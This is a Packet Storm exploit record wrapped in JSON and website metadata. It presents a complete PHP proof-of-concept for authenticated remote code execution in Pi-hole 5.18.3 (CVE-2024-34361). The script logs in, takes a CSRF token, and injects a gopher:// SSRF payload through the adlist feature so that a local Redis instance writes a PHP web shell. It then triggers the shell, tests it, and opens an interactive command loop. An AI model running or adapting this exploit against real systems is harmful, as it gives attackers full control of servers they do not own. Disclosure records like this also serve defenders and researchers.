{“lastseen”:”2025-12-22T17:16:27″,”description”:”This PHP script is an authenticated remote code execution exploit targeting Pi-hole’s web admin interface. It requires valid administrator credentials to log in, obtains a CSRF token, and abuses the adlist management feature by injecting a crafted…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Pi-hole 5.18.3 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:213208″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-34361″],”sourceData”:”=============================================================================================================================================\\n | # Title : Pi-hole 5.18.3 via Redis \\u0026 Gopher Abuse Authenticated Remote Code Execution |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/pi-hole.net\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212922\/ \\u0026 \\tCVE-2024-34361\\n \\n [+] Summary : This PHP script is an authenticated RCE exploit targeting Pi-hole\u2019s web admin interface. \\n It requires valid administrator credentials to log in, \\n obtain a CSRF token, and abuse the adlist management feature by injecting a crafted gopher:\/\/ URL. \\n \\t\\t\\t\\t The payload forces the server to interact with a local Redis instance, \\n \\t\\t\\t\\t write a malicious PHP file into the admin directory, and ultimately enable arbitrary command execution through a web shell. \\n The attack is post-authentication and becomes critical when credentials are compromised, leading to full system control.\\n \\t\\t\\t\\t\\n [+] POC : php poc.php https:\/\/target.com adminpassword\\n \\t\\n \\u003c?php\\n error_reporting(0);\\n \\n class PiHoleExploit {\\n private $base_url;\\n private $password;\\n private $session;\\n private $csrf_token;\\n \\n public function __construct($base_url, $password) {\\n $this-\\u003ebase_url = rtrim($base_url, ‘\/’);\\n $this-\\u003epassword = $password;\\n $this-\\u003esession = curl_init();\\n \\n \/\/ Configure CURL\\n curl_setopt($this-\\u003esession, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($this-\\u003esession, CURLOPT_FOLLOWLOCATION, true);\\n curl_setopt($this-\\u003esession, CURLOPT_SSL_VERIFYPEER, false);\\n curl_setopt($this-\\u003esession, CURLOPT_SSL_VERIFYHOST, false);\\n curl_setopt($this-\\u003esession, CURLOPT_COOKIEJAR, ‘cookies.txt’);\\n curl_setopt($this-\\u003esession, CURLOPT_COOKIEFILE, ‘cookies.txt’);\\n curl_setopt($this-\\u003esession, CURLOPT_USERAGENT, ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’);\\n }\\n \\n private function http_request($url, $method = ‘GET’, $data = null, $headers = []) {\\n curl_setopt($this-\\u003esession, CURLOPT_URL, $url);\\n curl_setopt($this-\\u003esession, CURLOPT_CUSTOMREQUEST, $method);\\n \\n $default_headers = [\\n ‘Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8’,\\n ‘Accept-Language: en-US,en;q=0.5’,\\n ‘Connection: keep-alive’,\\n ];\\n \\n $all_headers = array_merge($default_headers, $headers);\\n \\n if ($method === ‘POST’ \\u0026\\u0026 $data !== null) {\\n curl_setopt($this-\\u003esession, CURLOPT_POSTFIELDS, http_build_query($data));\\n $all_headers[] = ‘Content-Type: application\/x-www-form-urlencoded’;\\n }\\n \\n curl_setopt($this-\\u003esession, CURLOPT_HTTPHEADER, $all_headers);\\n \\n $response = curl_exec($this-\\u003esession);\\n $http_code = curl_getinfo($this-\\u003esession, CURLINFO_HTTP_CODE);\\n \\n return [\\n ‘code’ =\\u003e $http_code,\\n ‘body’ =\\u003e $response,\\n ‘headers’ =\\u003e curl_getinfo($this-\\u003esession, CURLINFO_HEADER_OUT)\\n ];\\n }\\n \\n public function login() {\\n $url = $this-\\u003ebase_url . ‘\/admin\/login.php’;\\n $data = [‘pw’ =\\u003e $this-\\u003epassword];\\n \\n $response = $this-\\u003ehttp_request($url, ‘POST’, $data);\\n \\n if (strpos($response[‘body’], ‘Wrong password’) !== false) {\\n echo \\”[!] Login failed. Incorrect password.\\\\n\\”;\\n return false;\\n }\\n \\n echo \\”[+] Login successful\\\\n\\”;\\n return true;\\n }\\n \\n private function extract_csrf_token($html) {\\n \/\/ Try to find CSRF token in HTML\\n if (preg_match(‘\/\\u003cinput[^\\u003e]*id=\\”token\\”[^\\u003e]*value=\\”([^\\”]+)\\”\/i’, $html, $matches)) {\\n $token = $matches[1];\\n } elseif (preg_match(‘\/\\u003cinput[^\\u003e]*name=\\”token\\”[^\\u003e]*value=\\”([^\\”]+)\\”\/i’, $html, $matches)) {\\n $token = $matches[1];\\n } elseif (preg_match(‘\/\\”token\\”\\\\s*:\\\\s*\\”([^\\”]+)\\”\/’, $html, $matches)) {\\n $token = $matches[1];\\n } else {\\n echo \\”[!] CSRF token not found\\\\n\\”;\\n return null;\\n }\\n \\n echo \\”[+] CSRF Token obtained: \\” . substr($token, 0, 20) . \\”…\\\\n\\”;\\n return $token;\\n }\\n \\n public function access_adlists() {\\n $url = $this-\\u003ebase_url . ‘\/admin\/groups-adlists.php’;\\n $response = $this-\\u003ehttp_request($url);\\n \\n if ($response[‘code’] == 200) {\\n $this-\\u003ecsrf_token = $this-\\u003eextract_csrf_token($response[‘body’]);\\n return $this-\\u003ecsrf_token !== null;\\n } else {\\n echo \\”[!] Error accessing groups-adlists. Status code: \\” . $response[‘code’] . \\”\\\\n\\”;\\n return false;\\n }\\n }\\n \\n public function add_payload() {\\n if (!$this-\\u003ecsrf_token) {\\n echo \\”[!] No CSRF token available\\\\n\\”;\\n return false;\\n }\\n \\n $url = $this-\\u003ebase_url . ‘\/admin\/scripts\/pi-hole\/php\/groups.php’;\\n \\n \/\/ Gopher payload for Redis RCE\\n $payload = ‘gopher:\/\/127.0.0.1:6379\/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2419%0D%0A\/var\/www\/html\/admin%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A’;\\n \\n $data = [\\n ‘action’ =\\u003e ‘add_adlist’,\\n ‘address’ =\\u003e $payload,\\n ‘comment’ =\\u003e ”,\\n ‘token’ =\\u003e $this-\\u003ecsrf_token\\n ];\\n \\n $headers = [\\n ‘X-Requested-With: XMLHttpRequest’,\\n ‘Accept: application\/json, text\/javascript, *\/*; q=0.01’,\\n ‘Origin: ‘ . $this-\\u003ebase_url,\\n ‘Referer: ‘ . $this-\\u003ebase_url . ‘\/admin\/groups-adlists.php’,\\n ];\\n \\n $response = $this-\\u003ehttp_request($url, ‘POST’, $data, $headers);\\n \\n if ($response[‘code’] == 200) {\\n echo \\”[+] Payload sent successfully\\\\n\\”;\\n echo \\”[+] shell.php should be dropped at \/admin\/shell.php\\\\n\\”;\\n return true;\\n } else {\\n echo \\”[!] Failed to send payload. Status code: \\” . $response[‘code’] . \\”\\\\n\\”;\\n return false;\\n }\\n }\\n \\n public function execute_payload() {\\n $url = $this-\\u003ebase_url . ‘\/admin\/scripts\/pi-hole\/php\/gravity.sh.php’;\\n \\n $headers = [\\n ‘Accept: text\/event-stream’,\\n ‘Cache-Control: no-cache’,\\n ‘Referer: ‘ . $this-\\u003ebase_url . ‘\/admin\/gravity.php’,\\n ];\\n \\n $response = $this-\\u003ehttp_request($url, ‘GET’, null, $headers);\\n \\n if ($response[‘code’] == 200) {\\n echo \\”[+] Gravity update triggered\\\\n\\”;\\n return true;\\n } else {\\n echo \\”[!] Failed to trigger gravity update. Status code: \\” . $response[‘code’] . \\”\\\\n\\”;\\n return false;\\n }\\n }\\n \\n public function test_shell() {\\n $url = $this-\\u003ebase_url . ‘\/admin\/shell.php?cmd=id’;\\n $response = $this-\\u003ehttp_request($url);\\n \\n if (strpos($response[‘body’], ‘uid=’) !== false) {\\n echo \\”[+] Shell is working! Command output:\\\\n\\”;\\n echo $response[‘body’] . \\”\\\\n\\”;\\n return true;\\n } else {\\n echo \\”[!] Shell test failed\\\\n\\”;\\n if ($response[‘code’] == 404) {\\n echo \\”[!] shell.php not found (404)\\\\n\\”;\\n }\\n return false;\\n }\\n }\\n \\n public function interactive_shell() {\\n echo \\”\\\\n[+] Entering interactive shell mode\\\\n\\”;\\n echo \\”[+] Type ‘exit’ to quit\\\\n\\\\n\\”;\\n \\n while (true) {\\n echo \\”shell\\u003e \\”;\\n $cmd = trim(fgets(STDIN));\\n \\n if ($cmd === ‘exit’ || $cmd === ‘quit’) {\\n break;\\n }\\n \\n if (empty($cmd)) {\\n continue;\\n }\\n \\n $url = $this-\\u003ebase_url . ‘\/admin\/shell.php?cmd=’ . urlencode($cmd);\\n $response = $this-\\u003ehttp_request($url);\\n \\n echo $response[‘body’] . \\”\\\\n\\”;\\n }\\n }\\n \\n public function cleanup() {\\n \/\/ Remove the shell\\n $url = $this-\\u003ebase_url . ‘\/admin\/shell.php?cmd=rm%20-f%20’ . urlencode($this-\\u003ebase_url . ‘\/admin\/shell.php’);\\n $this-\\u003ehttp_request($url);\\n echo \\”[+] Shell cleaned up\\\\n\\”;\\n }\\n \\n public function run() {\\n echo \\”[*] Starting Pi-hole exploit\\\\n\\”;\\n echo \\”[*] Target: \\” . $this-\\u003ebase_url . \\”\\\\n\\”;\\n \\n if (!$this-\\u003elogin()) {\\n return false;\\n }\\n \\n if (!$this-\\u003eaccess_adlists()) {\\n return false;\\n }\\n \\n if (!$this-\\u003eadd_payload()) {\\n return false;\\n }\\n \\n if (!$this-\\u003eexecute_payload()) {\\n return false;\\n }\\n \\n \/\/ Wait for gravity update to complete\\n echo \\”[*] Waiting 5 seconds for gravity update…\\\\n\\”;\\n sleep(5);\\n \\n if ($this-\\u003etest_shell()) {\\n $this-\\u003einteractive_shell();\\n $this-\\u003ecleanup();\\n }\\n \\n return true;\\n }\\n \\n public function __destruct() {\\n if (is_resource($this-\\u003esession)) {\\n curl_close($this-\\u003esession);\\n }\\n \\n \/\/ Clean up cookie file\\n if (file_exists(‘cookies.txt’)) {\\n unlink(‘cookies.txt’);\\n }\\n }\\n }\\n \\n \/\/ Command line interface\\n if ($argc \\u003c 3) {\\n echo \\”Usage: php \\” . basename(__FILE__) . \\” \\u003cbase_url\\u003e \\u003cpassword\\u003e\\\\n\\”;\\n echo \\”Example: php poc.php https:\/\/pihole.example.com admin123\\\\n\\”;\\n exit(1);\\n }\\n \\n $base_url = $argv[1];\\n $password = $argv[2];\\n \\n $exploit = new PiHoleExploit($base_url, $password);\\n $exploit-\\u003erun();\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213208″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213208\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-22T17:16:27″,”description”:”This PHP script is an authenticated remote code execution exploit targeting Pi-hole’s web admin interface. It requires valid administrator credentials to log in, obtains a…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-32448","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n